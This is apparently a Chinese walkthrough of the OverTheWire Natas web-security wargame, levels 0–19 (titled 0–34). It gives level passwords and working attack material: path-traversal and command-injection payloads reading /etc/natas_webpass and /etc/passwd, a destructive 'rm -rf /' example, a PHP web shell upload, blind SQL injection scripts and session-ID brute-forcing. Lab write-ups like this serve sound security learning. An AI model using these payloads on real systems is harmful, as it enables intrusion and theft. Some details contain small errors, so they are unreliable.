Overthewire :natas Level0~34 完整版

Natas 是一个初学者学习Web 安全的网站。建议网络安全、信息安全相关专业的Web选手进行选择性阅读或学习。详细参考:https://overthewire.org/wargames/natas/

声明:阅读过程中如遇到相关工具的问题,建议先阅读致谢的预备工作部分。

关卡 密码 tag/vital
natas0 natas0 源码
natas1 0nzCigAq7t2iALyvU9xcHlYN4MlkIwlq 禁用右键
natas2 TguMNxKo1DSa1tujBLuZJnDUlCcUAPlI 文件目录
natas3 3gqisGdR0pjm6tpkDKdIWO2hSvchLeYH robots
natas4 QryZXc2e0zahULdHrtHxzyYkj59kUxLQ Referer
natas5 0n35PkggAPm2zbEpOU802c0x0Msn1ToK Cookie
natas6 0RoJwHdSKWFTYR5WuiAewauSuNaBXned include
natas7 bmg8SvU1LizuWjx3y7xkNERkHxGre0GS 路径穿越
natas8 xcoXLmzMkoIP9D7hlgPlh9XD7OgLAe5Q 简易加解密
natas9 ZE1ck82lmdGIoErlhQgWND6j2Wzz6b6t grep,passthru
natas10 t7I5VHvpa14sJTUGV0cbEsbYfFP2dmOu preg_match
natas11 UJdqkK1pTu6VLt9UHWAgRZz6sVUZ3lEk 流密码,xor
natas12 yZdkjAYZRd3R7tq7T5kXMjMJlOIkzDeB 文件上传,rce
natas13 trbs5pCjCrkuSknBBKHhaBxq6Wm1j3LC 同上
natas14 z3UYcr4v4uBpeX8f7EZbMHlzK4UR2XtQ sql注入
natas15 SdqIqBsFcz3yotlNYErZSZwblkm0lrvx sql注入布尔盲注
natas16 hPkjKYviLQctEW33QmuXL6eDVfMW4sGo sql注入模糊匹配,爆破
natas17 EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC SQL注入时间盲注
natas18 6OG1PbKdVjyBlpxgD4DDbRG6ZLlCGgCJ PHPSESSID1,会话劫持
natas19 tnwER7PdfWkxsG4FNWUtoAZ9VyZTJqJr PHPSESSID2,会话劫持
natas20 p5mCvP7GS2K6Bmt3gqhM2Fc1A5T8MVyw PHPSESSID3,会话劫持
natas21 BPhv63cKE1lkQl04cE5CuFTzXe15NfiH PHPSESSID4,会话劫持
natas22 d8rwGBl0Xslg3b76uh3fEbSlnOUBlozz PHPSESSID5,会话劫持
natas23 dIUQcI3uSus1JEOSSWRAEXBG8KbR8tRs strstr,php
natas24 MeuqmfJ8DDKuTr5pcvzFKSwlxedZYEWd strcmp,数组绕过
natas25 ckELKUWZUfpOv6uxS6M7lXBpBssJZ4Ws
natas26 cVXXwxMS3Y26n5UZU89QgpGmWCelaQlE
natas27 u3RRffXjysjgwFU6b9xa23i6prmUsYne mysqli的varchar
natas28 1JNwQM1Oi6J6j1k49Xyw7ZN6pXMQInVj 加解密,爆破(稍难)
natas29 31F4j3Qi2PnuhIZQokxXk1L3QT9Cppns Perl
natas30 WQhx1BvcmP9irs2MP9tRnLsNaDI76YrH Perl
natas31 m7bfjAHpJmSYgQWWeqRE2qVBuMiRNq0y Perl
natas32 NaIWhW2VIrKqrc7aroJVHOZvk3RQMi0B Perl
natas33 shu5ouSu6eicielahhae0mohd4ui5uig
natas34

natas0

右键,查看源码,0nzCigAq7t2iALyvU9xcHlYN4MlkIwlq
image

natas1

被禁用右键,ctrl-u。TguMNxKo1DSa1tujBLuZJnDUlCcUAPlI
image

natas2

image

files/pixel.png查看无效。返回上级目录查看。
image

查看users.txt,3gqisGdR0pjm6tpkDKdIWO2hSvchLeYH


# username:password
alice:BYNdCesZqW
bob:jw2ueICLvT
charlie:G5vCxkVV3m
natas3:3gqisGdR0pjm6tpkDKdIWO2hSvchLeYH
eve:zo4mJWyNj2
mallory:9urtcpzBmH

natas3

源代码中有这么一句话,

<div id="content">
There is nothing on this page
<!-- No more information leaks!! Not even Google will find it this time... -->
</div>

联想到robots协议,它允许一部分爬取,一部分禁止爬取。
构造payloadhttp://natas3.natas.labs.overthewire.org/robots.txt。robots.txt中的内容:

  • User-agent:  * 使规则适用于所有爬虫。
  • Disallow: /s3cr3t/ 禁止爬虫访问 s3cr3t 目录。
    访问http://natas3.natas.labs.overthewire.org/s3cr3t/,只有users.txt文件。于是,
    http://natas3.natas.labs.overthewire.org/s3cr3t/users.txt,得到natas4:QryZXc2e0zahULdHrtHxzyYkj59kUxLQ。

natas4

将Referer改为:
方法1:hackbar,0n35PkggAPm2zbEpOU802c0x0Msn1ToK
image

方法2:request,0n35PkggAPm2zbEpOU802c0x0Msn1ToK
image

源码

import requests
url = "http://natas4.natas.labs.overthewire.org/"
username = "natas4"
# 将以下密码替换为实际获取的natas4密码
password = "QryZXc2e0zahULdHrtHxzyYkj59kUxLQ"
# 必须设置Referer为natas5的URL
headers = {
    "Referer": "http://natas5.natas.labs.overthewire.org/"
}
response = requests.get(
    url,
    auth=requests.auth.HTTPBasicAuth(username, password),
    headers=headers
)
# 发送 GET 请求,进行基本认证,并带上自定义的 Referer 请求头,等同于 response = #requests.get(url, auth=(username, password), headers=headers)

# 提取密码(根据实际页面结构解析)
if response.status_code == 200:
    print("响应内容:")
    print(response.text)
    # 通常密码在页面注释或特定字段中,需根据实际内容提取
else:
    print("请求失败,状态码:", response.status_code)

image

natas5

登陆后显示Access disallowed. You are not logged in。
登陆标识一般是由Cookie控制的。
1. 什么是 Cookie?

  • Cookie 是存储在用户浏览器中的小文件,用于保存用户的浏览器活动信息,比如偏好设置、登录状态等。
  • 它们由服务器发送并保存在客户端(浏览器)中,然后在每次请求时发送回服务器。

2. Cookie 的工作原理

  • 当用户访问网站时,服务器可以向浏览器发送一个或多个 Cookie。
  • 浏览器将这些 Cookie 存储在本地(通常为文本文件)。
  • 每次用户访问该网站时,浏览器会自动将存储的 Cookie 发送回服务器,以便服务器知道用户的身份或其他信息。
    方法1:开发者模式
    image

方法2:python脚本,0RoJwHdSKWFTYR5WuiAewauSuNaBXned
image

import requests
url = "http://natas5.natas.labs.overthewire.org/"
username = "natas5"
password = "ORoJwHdSKWFTYRSWuiAewauSuNaBXned"  # 替换为实际natas5密码

# 手动设置Cookie中的loggedin值为1
cookies = {
    "loggedin": "1"
}

response = requests.get(url, auth=(username, password), cookies=cookies)

# 提取密码(根据页面结构解析)
if response.status_code == 200:
    print("响应内容:")
    print(response.text)
    # 密码通常在页面源码的注释或特定标签中,例如:
    # 使用正则提取:Access granted. The password for natas6 is (\w+)
else:
    print(f"请求失败,状态码:{response.status_code}")


natas6

代码审计,引入一个外部文件 secret.inc,如果用户提交的post请求与$secret变量相等,就能获取下一关的密码。
image

漏洞复现:

  1. 这里引入的外部文件 secret.inc,可能包含敏感信息(例如密码或密钥)。
  • 建议:使用绝对路径或相对路径的方式来确保文件存在,避免出现路径遍历漏洞(例如 ../../includes/secret.inc)。
  1. $_POST['secret'] 是从用户输入中获取的值,而没有进行任何验证或过滤,直接将其与 $secret 进行比较。这种做法存在风险,尤其是用户输入的数据没有经过消毒处理。若没有正确验证,攻击者可能利用此漏洞进行 跨站脚本攻击(XSS) 或 SQL 注入(假如 $secret 被传入数据库查询时)。
  • 建议:
  • 进行 输入验证 和 过滤,确保 $_POST['secret'] 只包含预期的安全字符。
  • 例如,使用 htmlspecialchars 来避免 XSS 漏洞:
$secret_input = htmlspecialchars($_POST['secret'], ENT_QUOTES, 'UTF-8');
if ($secret == $secret_input) {
    print "Access granted. The password for natas7 is <censored>";
} else {
    print "Wrong secret";
}

构造payload http://natas6.natas.labs.overthewire.org/includes/secret.inc
看到

<?
$secret = "FOEIUWGHFEEUHOFUOIU";
?>

输入框输入secret的值,bmg8SvU1LizuWjx3y7xkNERkHxGre0GS。
image

natas7

F12查看到,
image

说密码在那个路径下,直接访问不行。所以想到目录遍历漏洞,构造payload
http://natas7.natas.labs.overthewire.org/index.php?page=../../../../../../../../../../../../../../../.././../../../../../../../../../../../../../../../etc/natas_webpass/natas8
得到xcoXLmzMkoIP9D7hlgPlh9XD7OgLAe5Q。

或者上python脚本

import requests
# 目标URL和认证信息
url = "http://natas7.natas.labs.overthewire.org/index.php"
username = "natas7"
password = "bmg8SvU1LizuWjx3y7xkNERkHxGre0GS" 

# 构造路径遍历Payload读取natas8的密码文件
params = {
    "page": "../../../../../../../../../../../../../../../../../../../../../etc/natas_webpass/natas8"
}

# 发送GET请求
 response = requests.get(url, auth=(username, password), params=params)

# 提取密码
if response.status_code == 200:
    # 密码通常直接显示在页面内容中
    print("响应内容:")
    print(response.text)
else:
    print(f"请求失败,状态码:{response.status_code}")

natas8

审计代码
image

一个encodeSecret函数,和一个encodedSecret变量。如果传入的secret的值经过简单的base64,字符串反转,2进制转16进制后,所得的值与设定的encodedSecret的变量值相等,就会得到natas9的密码。那么,如何构造这样一个值呢?反过来就行。
漏洞复现:
建议:

  • secret的处理只是简单的编码,建议使用安全的密码算法,如 密码哈希 和 盐值(salt)。例如,可以使用 password_hash 和 password_verify 函数来处理密码。
import base64

# 单行解密
decrypted = base64.b64decode(bytes.fromhex("3d3d516343746d4d6d6c315669563362")[::-1]).decode('utf-8')
print(f"解密结果: {decrypted}")  # 输出: oubWYf2kBq

运行脚本后,得到oubWYf2kBq。提交凭证,会看到Access granted. The password for natas9 is ZE1ck82lmdGIoErlhQgWND6j2Wzz6b6t。

附:

flowchart TD subgraph 加密过程 direction LR A[原始字符串] --> B[Base64编码] B --> C[字节反转] C --> D[十六进制编码] D --> E[加密结果: 3d3d516343746d4d6d6c315669563362] end subgraph 解密过程 direction LR E --> F[十六进制解码] F --> G[字节反转] G --> H[Base64解码] H --> I[原始字符串] end style 加密过程 fill:#e6f7ff,stroke:#1890ff,stroke-width:2px style 解密过程 fill:#f6ffed,stroke:#52c41a,stroke-width:2px

可以用下方的代码验证

import base64

# 原始字符串
original = "secret"
print(f"原始字符串: {original}")

# 加密过程
encrypted = base64.b64encode(original.encode('utf-8')).hex()[::-1]
print(f"加密结果: {encrypted}")  # 应得到 3d3d516343746d4d6d6c315669563362

# 解密过程
decrypted = base64.b64decode(bytes.fromhex("3d3d516343746d4d6d6c315669563362")[::-1]).decode('utf-8')
print(f"解密结果: {decrypted}")  # 应得到 secret

natas9

审计代码,如果key的值存在,就会将needle请求的值赋给key。key的值不为空,就会执行passthru函数中的命令。
image

漏洞复现:
对key没有进行充分过滤,如;|&&$(...),会引起命令注入漏洞。 比如,如果用户提供的 needle 是 ; rm -rf /,这将导致服务器上的所有文件被删除。输入 ; cat /etc/passwd,执行cat /etc/passwd后,会泄露系统用户信息。
建议:
限制 $key 的长度,或者仅允许字母和数字。使用正则表达式对输入进行限制:

if (preg_match('/^[a-zA-Z0-9]+$;/', $key)) {
    passthru("grep -i $key dictionary.txt");
} else {
    echo "Invalid input.";
}

使用 escapeshellarg() 来对用户输入进行转义,防止恶意命令的注入:

$key = escapeshellarg($_REQUEST['needle']);
passthru("grep -i $key dictionary.txt");

输入框输入;cat /etc/natas_webpass/natas10,t7I5VHvpa14sJTUGV0cbEsbYfFP2dmOu。
image

natas10

增加了对;| &的过滤,

<?   $key = "";      
if(array_key_exists("needle", $_REQUEST)) {  
$key = $_REQUEST["needle"]; 
}
if($key != "") {     
    if(preg_match('/[;|&]/',$key)) {           print "Input contains an illegal character!";   
    } else { 
        passthru("grep -i $key dictionary.txt");      
    }  
}   
?>

国际站关于grep的用法。grep 作弊表 |grep 命令行指南
输入a cat /etc/natas_webpass/natas11,后台会执行grep -i a cat /etc/natas_webpass/natas11 dictionary.txt。grep -i a dictionary.txt会在dictionary.txt中找到包含a和A的单词,cat /etc/natas_webpass/natas11会被grep当作另外一个文件,执行后得到密码UJdqkK1pTu6VLt9UHWAgRZz6sVUZ3lEk。
image

natas11

代码量明显增多,从后往前找。
image

$data[ ''showpassword" ]与字符串“yes”相等时,就会打印natas12的密码。

这里的$data有两个,一个是调用loadData,一个被传入某个请求。

image

loadData的初步分析。

image

PHP XOR 加密解密过程的 Mermaid 流程图描述:

flowchart TD subgraph 加密过程 direction TB A[原始数据数组] --> B(json_encode) B --> C["XOR加密\n(xor_encrypt函数)"] C --> D["base64编码"] D --> E[加密结果] subgraph XOR加密细节 C1[输入文本] --> C2{遍历每个字符} C2 --> C3["与密钥字符异或操作\n(text[i] ^ key[i % key_len])"] C3 --> C4[输出加密字符] C4 --> C2 end end subgraph 解密过程 direction TB F[加密数据] --> G["base64解码"] G --> H["XOR解密\n(xor_decrypt函数)"] H --> I[提取密钥] I --> J[使用密钥解密真实数据] subgraph XOR解密细节 H1[base64解码数据] --> H2{遍历每个字符} H2 --> H3["与已知明文异或操作\n(cipher[i] ^ plain[i % plain_len])"] H3 --> H4[提取密钥字符] H4 --> H2 end end subgraph 密钥生成 K["密钥 = 'eDWo'"] --> C K --> H end style 加密过程 fill:#e6f7ff,stroke:#1890ff,stroke-width:2px style 解密过程 fill:#f6ffed,stroke:#52c41a,stroke-width:2px style 密钥生成 fill:#fffbe6,stroke:#faad14,stroke-width:2px

同natas5一样,查看cookie的参数data,取出HmYkBwozJw4WNyAAFyB1VUcqOE1JZjUIBis7ABdmbU1GIjEJAyIxTRg%3D,
转成url码是HmYkBwozJw4WNyAAFyB1VUcqOE1JZjUIBis7ABdmbU1GIjEJAyIxTRg= 。
这里的url码就是saveData($data)经过加密后得来的,将其json加密,xor加密,base_64加密,就能得到新的cookie。

下面用到xor的性质,建议阅读 XOR 教程
我们用原来cookie的url码(密文)和默认文本$defaultdata(明文),xor解码后找到密钥 $key的加长版。判断 $key是 eDWo,将其与默认的 $yesdata文本三层加密后,得到的输出就是我们新的cookie(setcookie)。这个新的cookie,经过yes判断,就获取到natas12的密码。

<?php

$COOKIE = array("data"=>"HmYkBwozJw4WNyAAFyB1VUcqOE1JZjUIBis7ABdmbU1GIjEJAyIxTRg=");
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
$yesdata = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");

function xor_encrypt($in) {
    $key = "eDWo";
    $text = $in;
    $outText = "";

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }
    return $outText;

}

//解码函数

function xor_decrypt($COOKIEDATA, $defaultdata) {
    $key = '';
    $text = base64_decode($COOKIEDATA);
    $outText = json_encode($defaultdata);  
    
    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $key .= $text[$i] ^ $outText[$i % strlen($outText)];
    } 
    return $key;

}

//解码获取key
echo xor_decrypt($COOKIE["data"], $defaultdata), "\n";
//验证key是否正确
echo base64_encode(xor_encrypt(json_encode($defaultdata))), "\n";
//生成新的cookie
echo base64_encode(xor_encrypt(json_encode($yesdata))), "\n";

/*输出结果
eDWoeDWoeDWoeDWoeDWoeDWoeDWoeDWoeDWoeDWoe
HmYkBwozJw4WNyAAFyB1VUcqOE1JZjUIBis7ABdmbU1GIjEJAyIxTRg=
HmYkBwozJw4WNyAAFyB1VUc9MhxHaHUNAic4Awo2dVVHZzEJAyIxCUc5
*/

?>
pie title XOR加密弱点 "短密钥重复使用" : 45 "已知明文攻击" : 30 "无完整性校验" : 15 "无认证机制" : 10

所以,用新的cookie 值HmYkBwozJw4WNyAAFyB1VUc9MhxHaHUNAic4Awo2dVVHZzEJAyIxCUc5,修改参数data,刷新后,得到yZdkjAYZRd3R7tq7T5kXMjMJlOIkzDeB。
image

总结:密钥重用流程

sequenceDiagram participant 客户端 participant 服务器 客户端->>服务器: 发送带加密cookie的请求 服务器->>服务器: base64解码cookie数据 服务器->>服务器: 使用密钥"eDWo"进行XOR解密 服务器->>服务器: 解析JSON数据 服务器->>服务器: 处理业务逻辑 服务器->>服务器: 生成新的JSON数据 服务器->>服务器: 使用密钥"eDWo"进行XOR加密 服务器->>服务器: base64编码加密数据 服务器->>客户端: 返回更新后的cookie

攻击原理:
1.固定密钥风险:使用固定密钥 "eDWo" 容易被逆向破解
2.已知明文攻击:攻击者通过已知数据结构可以提取密钥

此加密方案的核心在于XOR操作的可逆性:A ^ B = C 则 A = B ^ C,利用这一特性实现加解密。但由于使用固定密钥和已知数据结构,安全性较低。

natas12

打开界面,看界面就是文件上传,因此暂时不进行代码审计。
写入一句话木马,添加php后缀。

<?php
system($_GET['cmd']);
?>

上传一句话木马之后(需要关闭防火墙),反响是jpg被成功上传。我们想要php格式的文件能够成功执行。于是修改为php后缀,右键重放(Repeater),发送(Send)。
image

查看响应(Response),发现随机生成了一个php文件。
image

  1. 上传上图框住的php文件,查看网页。
    image

警告syetem函数的参数cmd没有传参,导致无法执行命令。

  1. 拼接cmd=id,文件所有者,组用户都包含natas12。
    image

  2. 接着拼接cmd=cat /etc/natas_webpass/natas13,
    image

得到trbs5pCjCrkuSknBBKHhaBxq6Wm1j3LC。

最后,代码审计。
image

natas13

改写一句话木马。

GIF89a
<?php
system($_GET['cmd']);
?>
  1. 上传一句话木马index.php,Proxy抓包,显示
    image

  2. Repeater篡改,发送
    image

  3. http://natas13.natas.labs.overthewire.org/upload/vdte8q3rgm.php
    image

  4. http://natas13.natas.labs.overthewire.org/upload/vdte8q3rgm.php?cmd=cat%20/etc/natas_webpass/natas13
    image

得z3UYcr4v4uBpeX8f7EZbMHlzK4UR2XtQ。

审计代码,与natas12相比,增加几个限制,实际情况①和②都不允许。
image

natas14

审计代码,典型的sql注入。
image

hackbar添加post请求。
image

相当于SELECT * from users where username="" OR 1=1 #&password=,#后面的被注释。前面必有一结果为真,因而成功执行。或者万能密码admin " OR "1"="1,后面password部分必为真,而管理员用户肯定包含admin。所以,得到SdqIqBsFcz3yotlNYErZSZwblkm0lrvx。

natas15

查看前端和源码,前端会有两种相反的返回值(TURE,FLASE),大致判断是盲注。
image

布尔盲注的特点是输入相反的SQL语句时,前端会返回不同的结果。这一关的目的是寻找已存在的用户名(natas16)及匹配的密码。因而用模糊匹配写python脚本,这里核心部分参考natas15| Blog

布尔盲注攻击流程 Mermaid 描述:

flowchart TD A[开始] --> B[初始化空密码字符串] B --> C[循环32位密码长度] C --> D[遍历所有可能字符] D --> E[构造SQL注入payload] E --> F[发送POST请求] F --> G{响应包含'exists'?} G -->|是| H[添加字符到密码] G -->|否| I[尝试下一个字符] H --> J[显示当前密码进度] J --> C I --> D C -->|32位完成| K[输出最终密码] K --> L[结束] subgraph 关键代码逻辑 E -->|payload| E1["natas16' and substr(SELECT password..., {i}, 1) = BINARY '{char}' #"] F -->|认证| F1["Basic Auth: natas15/SdqIqBsF..."] G -->|检测| G1["检查响应中是否包含'exists'"] end style A fill:#2a4d69,stroke:#333,stroke-width:2px style K fill:#52c41a,stroke:#237804,stroke-width:2px style D fill:#ffc53d,stroke:#ad6800 style E1 fill:#e6f7ff,stroke:#40a9ff
import requests

url = 'http://natas15.natas.labs.overthewire.org/index.php'
username = 'natas15'
password = 'SdqIqBsFcz3yotlNYErZSZwblkm0lrvx'
key = ''

def main():
    key = ''
    for i in range(0,32):
        for __ in "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~@!#{}$%^,&*()_+-":     
#substr(... , {i+1}, 1):提取密码的第 i+1 个字符。这里与range(0,32)的从零开始对应
#BINARY "{char}":区分大小写的字符比较
#  #:注释掉原始查询的剩余部分
            data = {'username': f'natas16" and substr((SELECT password FROM users WHERE `username`= "natas16"), {i+1}, 1) = BINARY "{__}" #'}
            #可以替换成参考的payload: data = {'username': 'natas16" and substr((SELECT password FROM users WHERE `username`= "natas16"),'+str(i+1)+',1)= BINARY "' + __ + '" #'}
            print("Now is trying: " + key + __, end = '\r')
            response = requests.post(url,data=data,auth=(username,password))
            #print(response.text)
            if "exists" in response.text:
                key = key + __
                break
        print("[+] NextPassword:" + key)
if __name__ == "__main__":

   main()

运行结果如下:hPkjKYviLQctEW33QmuXL6eDVfMW4sGo
image
防范建议:

flowchart LR A[SQL注入防御] --> B[参数化查询] A --> C[输入过滤] A --> D[最小权限原则] A --> E[Web应用防火墙] A --> F[错误信息隐藏] B --> G["PreparedStatement"] C --> H["白名单验证"] D --> I["数据库只读权限"] E --> J["ModSecurity规则"] F --> K["通用错误页面"]

natas16

框框里面是过滤的字符,不包括斜杠( / )。
image

可以利用没有过滤$的特点编写脚本,
image

注意url + data才是我们需要的payload。

得到EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC。
image

natas17

请求成功,页面无回显,看样子是时间盲注(timeout)。
image

这里的注释印证了上述说法。
image
时间盲注原理:

sequenceDiagram participant A as 攻击者 participant W as Web服务器 participant D as 数据库 A->>W: 发送包含sleep()的SQL注入请求 W->>D: 执行SQL查询 alt 条件成立 D->>D: 执行sleep(3) D->>W: 延迟返回结果 W->>A: 延迟响应(≥3秒) else 条件不成立 D->>W: 立即返回结果 W->>A: 立即响应 end A->>A: 根据响应时间判断条件真假

编写脚本,修改data,需要sleep函数来反应,否则难以得到结果。
这里调脚本调了好久/(ㄒoㄒ)/~~ ,主要是data的构造和脚本运行时长很长的原因。
最后,对payload的解释。

payload的解释
1. password like binary '{key}{char}%':检查密码是否以当前已猜测部分 + 当前字符开头
2. sleep(3):如果条件成立,则使数据库睡眠3秒
3. #  :注释掉原始查询的剩余部分

image

结果如下:6OG1PbKdVjyBlpxgD4DDbRG6ZLlCGgCJ。
image

natas18

审计代码:

<?php

$maxid = 640; // 640 should be enough for everyone

function isValidAdminLogin() { /* {{{ */
    if($_REQUEST["username"] == "admin") {
    /* This method of authentication appears to be unsafe and has been disabled for now. */
        //return 1;
    }
    return 0;

}

/* }}} */
function isValidID($id) { /* {{{ */
    return is_numeric($id);
}

/* }}} */
function createID($user) { /* {{{ */
    global $maxid;
    return rand(1, $maxid);
}

/* }}} */
function debug($msg) { /* {{{ */
    if(array_key_exists("debug", $_GET)) {
        print "DEBUG: $msg<br>";
    }
}

/* }}} */

function my_session_start() { /* {{{ */
    if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
    if(!session_start()) {
        debug("Session start failed");
        return false;
    } else {
        debug("Session start ok");
        if(!array_key_exists("admin", $_SESSION)) {
        debug("Session was old: admin flag set");
        $_SESSION["admin"] = 0; // backwards compatible, secure
        }
        return true;
    }
    }
    return false;

}

/* }}} */
function print_credentials() { /* {{{ */
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas19\n";
    print "Password: <censored></pre>";
    } else {
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.";
    }
}

/* }}} */
$showform = true;
if(my_session_start()) {
    print_credentials();
    $showform = false;
} else {
    if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {
    session_id(createID($_REQUEST["username"]));
    session_start();
    $_SESSION["admin"] = isValidAdminLogin();
    debug("New session started");
    $showform = false;
    print_credentials();
    }
}

if($showform) {
?>  
  
<p>  
Please login with your admin account to retrieve credentials for natas19.  
</p>  
  
<form action="index.php" method="POST">  
Username: <input name="username"><br>  
Password: <input name="password"><br>  
<input type="submit" value="Login" />  
</form>  
<?php } 
?>

大致情况如下:
image

简单来说,攻击者需要一个非法的PHPSESSID种子(cookie),用管理员admin登录(session),绕过服务端的检查。攻击者就能显示客户端natas19的密码。

尝试随便输入点什么,果然看到PHPSESSID!
image

这个思路应该没错,继续编写脚本。
image

结果太长,不截图,以折叠代码的形式出现。

点击查看代码
运行结果
[+] PHPSESSID= 0nd PHPSESSID......: 0
[+] PHPSESSID= 1nd PHPSESSID......: 1
[+] PHPSESSID= 2nd PHPSESSID......: 2
[+] PHPSESSID= 3nd PHPSESSID......: 3
[+] PHPSESSID= 4nd PHPSESSID......: 4
[+] PHPSESSID= 5nd PHPSESSID......: 5
[+] PHPSESSID= 6nd PHPSESSID......: 6
[+] PHPSESSID= 7nd PHPSESSID......: 7
[+] PHPSESSID= 8nd PHPSESSID......: 8
[+] PHPSESSID= 9nd PHPSESSID......: 9
[+] PHPSESSID= 10d PHPSESSID......: 10
[+] PHPSESSID= 11d PHPSESSID......: 11
[+] PHPSESSID= 12d PHPSESSID......: 12
[+] PHPSESSID= 13d PHPSESSID......: 13
[+] PHPSESSID= 14d PHPSESSID......: 14
[+] PHPSESSID= 15d PHPSESSID......: 15
[+] PHPSESSID= 16d PHPSESSID......: 16
[+] PHPSESSID= 17d PHPSESSID......: 17
[+] PHPSESSID= 18d PHPSESSID......: 18
[+] PHPSESSID= 19d PHPSESSID......: 19
[+] PHPSESSID= 20d PHPSESSID......: 20
[+] PHPSESSID= 21d PHPSESSID......: 21
[+] PHPSESSID= 22d PHPSESSID......: 22
[+] PHPSESSID= 23d PHPSESSID......: 23
[+] PHPSESSID= 24d PHPSESSID......: 24
[+] PHPSESSID= 25d PHPSESSID......: 25
[+] PHPSESSID= 26d PHPSESSID......: 26
[+] PHPSESSID= 27d PHPSESSID......: 27
[+] PHPSESSID= 28d PHPSESSID......: 28
[+] PHPSESSID= 29d PHPSESSID......: 29
[+] PHPSESSID= 30d PHPSESSID......: 30
[+] PHPSESSID= 31d PHPSESSID......: 31
[+] PHPSESSID= 32d PHPSESSID......: 32
[+] PHPSESSID= 33d PHPSESSID......: 33
[+] PHPSESSID= 34d PHPSESSID......: 34
[+] PHPSESSID= 35d PHPSESSID......: 35
[+] PHPSESSID= 36d PHPSESSID......: 36
[+] PHPSESSID= 37d PHPSESSID......: 37
[+] PHPSESSID= 38d PHPSESSID......: 38
[+] PHPSESSID= 39d PHPSESSID......: 39
[+] PHPSESSID= 40d PHPSESSID......: 40
[+] PHPSESSID= 41d PHPSESSID......: 41
[+] PHPSESSID= 42d PHPSESSID......: 42
[+] PHPSESSID= 43d PHPSESSID......: 43
[+] PHPSESSID= 44d PHPSESSID......: 44
[+] PHPSESSID= 45d PHPSESSID......: 45
[+] PHPSESSID= 46d PHPSESSID......: 46
[+] PHPSESSID= 47d PHPSESSID......: 47
[+] PHPSESSID= 48d PHPSESSID......: 48
[+] PHPSESSID= 49d PHPSESSID......: 49
[+] PHPSESSID= 50d PHPSESSID......: 50
[+] PHPSESSID= 51d PHPSESSID......: 51
[+] PHPSESSID= 52d PHPSESSID......: 52
[+] PHPSESSID= 53d PHPSESSID......: 53
[+] PHPSESSID= 54d PHPSESSID......: 54
[+] PHPSESSID= 55d PHPSESSID......: 55
[+] PHPSESSID= 56d PHPSESSID......: 56
[+] PHPSESSID= 57d PHPSESSID......: 57
[+] PHPSESSID= 58d PHPSESSID......: 58
[+] PHPSESSID= 59d PHPSESSID......: 59
[+] PHPSESSID= 60d PHPSESSID......: 60
[+] PHPSESSID= 61d PHPSESSID......: 61
[+] PHPSESSID= 62d PHPSESSID......: 62
[+] PHPSESSID= 63d PHPSESSID......: 63
[+] PHPSESSID= 64d PHPSESSID......: 64
[+] PHPSESSID= 65d PHPSESSID......: 65
[+] PHPSESSID= 66d PHPSESSID......: 66
[+] PHPSESSID= 67d PHPSESSID......: 67
[+] PHPSESSID= 68d PHPSESSID......: 68
[+] PHPSESSID= 69d PHPSESSID......: 69
[+] PHPSESSID= 70d PHPSESSID......: 70
[+] PHPSESSID= 71d PHPSESSID......: 71
[+] PHPSESSID= 72d PHPSESSID......: 72
[+] PHPSESSID= 73d PHPSESSID......: 73
[+] PHPSESSID= 74d PHPSESSID......: 74
[+] PHPSESSID= 75d PHPSESSID......: 75
[+] PHPSESSID= 76d PHPSESSID......: 76
[+] PHPSESSID= 77d PHPSESSID......: 77
[+] PHPSESSID= 78d PHPSESSID......: 78
[+] PHPSESSID= 79d PHPSESSID......: 79
[+] PHPSESSID= 80d PHPSESSID......: 80
[+] PHPSESSID= 81d PHPSESSID......: 81
[+] PHPSESSID= 82d PHPSESSID......: 82
[+] PHPSESSID= 83d PHPSESSID......: 83
[+] PHPSESSID= 84d PHPSESSID......: 84
[+] PHPSESSID= 85d PHPSESSID......: 85
[+] PHPSESSID= 86d PHPSESSID......: 86
[+] PHPSESSID= 87d PHPSESSID......: 87
[+] PHPSESSID= 88d PHPSESSID......: 88
[+] PHPSESSID= 89d PHPSESSID......: 89
[+] PHPSESSID= 90d PHPSESSID......: 90
[+] PHPSESSID= 91d PHPSESSID......: 91
[+] PHPSESSID= 92d PHPSESSID......: 92
[+] PHPSESSID= 93d PHPSESSID......: 93
[+] PHPSESSID= 94d PHPSESSID......: 94
[+] PHPSESSID= 95d PHPSESSID......: 95
[+] PHPSESSID= 96d PHPSESSID......: 96
[+] PHPSESSID= 97d PHPSESSID......: 97
[+] PHPSESSID= 98d PHPSESSID......: 98
[+] PHPSESSID= 99d PHPSESSID......: 99
[+] PHPSESSID= 100 PHPSESSID......: 100
[+] PHPSESSID= 101 PHPSESSID......: 101
[+] PHPSESSID= 102 PHPSESSID......: 102
[+] PHPSESSID= 103 PHPSESSID......: 103
[+] PHPSESSID= 104 PHPSESSID......: 104
[+] PHPSESSID= 105 PHPSESSID......: 105
[+] PHPSESSID= 106 PHPSESSID......: 106
[+] PHPSESSID= 107 PHPSESSID......: 107
[+] PHPSESSID= 108 PHPSESSID......: 108
[+] PHPSESSID= 109 PHPSESSID......: 109
[+] PHPSESSID= 110 PHPSESSID......: 110
[+] PHPSESSID= 111 PHPSESSID......: 111
[+] PHPSESSID= 112 PHPSESSID......: 112
[+] PHPSESSID= 113 PHPSESSID......: 113
[+] PHPSESSID= 114 PHPSESSID......: 114
[+] PHPSESSID= 115 PHPSESSID......: 115
[+] PHPSESSID= 116 PHPSESSID......: 116
[+] PHPSESSID= 117 PHPSESSID......: 117
[+] PHPSESSID= 118 PHPSESSID......: 118
The PHPSESSID with correct password is: 119

提交正确的PHPSESSID后,你能够看到:

You are an admin. The credentials for the next level are:
Username: natas19
Password: tnwER7PdfWkxsG4FNWUtoAZ9VyZTJqJr

natas19

虽然这关没有源码,但是可以推测跟上一关的源码逻辑是差不多的。唯一的区别就是哪里做了特殊判断或处理。
